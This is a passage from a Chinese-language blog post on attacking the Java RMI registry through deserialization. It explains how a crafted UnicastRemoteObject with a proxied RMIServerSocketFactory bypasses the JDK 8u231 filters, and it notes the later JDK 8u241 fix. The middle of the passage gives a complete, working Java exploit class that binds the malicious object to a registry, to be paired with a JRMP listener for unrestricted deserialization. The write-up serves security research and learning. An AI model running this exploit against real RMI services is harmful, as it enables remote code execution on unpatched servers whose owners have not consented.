从前面的分析可以知道,如果想在不知道远程接口的情况想攻击注册中心 / 服务端,目前能控制的最大范围就是注册中心和 DGC 的 filter 里面限制的几个类。而如果想实现攻击,要满足几个条件:

  • 找到一处不受限制的反序列化
  • 白名单类可以通过反序列化触发上述不受限的反序列化
  • 触发点就在 readObject 中

之前的 JRMP 攻击方式满足前两点,但不满足第三点,因为它的触发点实际在 releaseInputStream

UnicastRemoteObject,尝试 UnicastRemoteObject 的反序列化流程,看到其变量

image-20220921192615363

能用的就俩接口变量,而我们还需要放自己的 payload 等信息,那么往接口里放东西只有一种方法,就是用动态代理。而满足白名单过滤的动态代理也只有一个,就是 RemoteObjectInvocationHandler

image-20220921192737892

可以看到 RemoteObjectInvocationHandler 的 invoke 最后还真就会调用 UnicastRef#invoke

接下来就找调用 ccf/ssf 这两个变量的方法了

在 TCPTransport#listen 里面调用了 TCPEndPoint#newServerSocket

ServerSocket newServerSocket() throws IOException {
    if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
        TCPTransport.tcpLog.log(Log.VERBOSE,
            "creating server socket on " + this);
    }
    RMIServerSocketFactory serverFactory = ssf;
    if (serverFactory == null) {
        serverFactory = chooseFactory();
    }
    ServerSocket server = serverFactory.createServerSocket(listenPort);
    // if we listened on an anonymous port, set the default port
    // (for this socket factory)
    if (listenPort == 0)
        setDefaultPort(server.getLocalPort(), csf, ssf);
    return server;

对 ssf 调用了函数,那么把 ssf 设置成一个代理 RMIServerSocketFactory 接口的动态代理,里面放 RemoteObjectInvocationHandler,调用这里时最终就触发了 executeCall,造成不受限的反序列化。借用动态代理的方法和 CC1 的 AnnotationInvocationHandler 异曲同工。实现下:

public class UnicastRemoteObjectExploit {
    public static void main(String[] args) throws Exception{
        RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 1099);
        exploit(registry,"127.0.0.1",7777);
    }
    private static void exploit(RegistryImpl_Stub registry,String host,int port) throws Exception {
        UnicastRemoteObject unicastRemoteObject = getObj(host,port);
        Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
        Field refField = RemoteObjectClass.getDeclaredField("ref");
        refField.setAccessible(true);
        UnicastRef ref = (UnicastRef) refField.get(registry);
        Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
        RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" );
        f.setAccessible( true );
        f.set( var3, false );
        var3.writeObject(unicastRemoteObject);
        ref.invoke(var2);
    }
    private static UnicastRemoteObject getObj(String host,int port) throws  Exception{
        LiveRef liveRef = new LiveRef(new ObjID(7777), new TCPEndpoint(host,port), false);
        UnicastRef ref = new UnicastRef(liveRef);
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
        RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(),
                new Class[]{RMIServerSocketFactory.class, Remote.class},remoteObjectInvocationHandler
        );
        Constructor RemoteObjectConstructor = RemoteObject.class.getDeclaredConstructor(RemoteRef.class);
        RemoteObjectConstructor.setAccessible(true);
        Constructor<?> unicastRemoteObjectConstructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(UnicastRemoteObject.class, RemoteObjectConstructor);
        UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) unicastRemoteObjectConstructor.newInstance(new UnicastRef(liveRef));
        Field ssfField = unicastRemoteObject.getClass().getDeclaredField("ssf");
        ssfField.setAccessible(true);
        ssfField.set(unicastRemoteObject,rmiServerSocketFactory);
        return unicastRemoteObject;
    }
}

一样是用 JRMPListener 监听。不像 DGC 那种循环触发的,这个是一次性的

image-20220921195924977

这个方法比之前的反序列化 + releaseInputStream 触发条件更简单,不受那个 incomingRefTable 的限制,因此也绕过了 jdk8u231 的第一处过滤。触发点也没走 DGCImpl_Stub,绕过了 jdk8u231 的第二处过滤。

# JDK8u241 修复

最后这个绕过方法也是惨遭毒手,在 jdk8u241 又进行了修复,直接在 ObjectInputStream 里加了个 readString 方法,用在了 RegistryImpl_Skel 里面

这样一来注册中心里唯一的远程反序列化点也没有了,基本上把反序列化攻击注册中心的棺材板盖严实了。前面所有攻击注册中心的方法也都失效,应该也不会有新的方法了

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝